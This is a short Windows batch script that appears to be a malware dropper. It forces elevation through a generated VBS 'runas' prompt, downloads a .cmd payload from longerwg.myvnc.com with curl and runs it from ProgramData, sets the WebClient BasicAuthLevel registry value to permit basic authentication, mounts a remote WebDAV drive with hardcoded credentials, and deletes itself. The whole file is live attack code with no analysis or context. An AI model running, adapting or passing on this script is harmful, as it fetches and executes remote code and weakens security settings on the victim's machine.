@echo off net session >nul 2>&1 if %errorlevel%==0 ( goto start ) else ( echo Get UAC fail... echo. echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs" "%temp%\getadmin.vbs" exit /B cls ) :start if exist %windir%\System32\curl.exe ( curl http://longerwg.myvnc.com:8888/dl/tool -o %ProgramData%\longerwg.cmd && cd /d %ProgramData% && start longerwg.cmd reg add "HKLM\SYSTEM\CurrentControlSet\Services\WebClient\Parameters" /v BasicAuthLevel /t REG_DWORD /d 2 /f net use O: http://longerwg.myvnc.com:5005/hoeron qq /user:qq /PERSISTENT:NO if exist O: start explorer O:\ ) else ( start http://longerwg.myvnc.com:8888/dl/tool ) :end del %0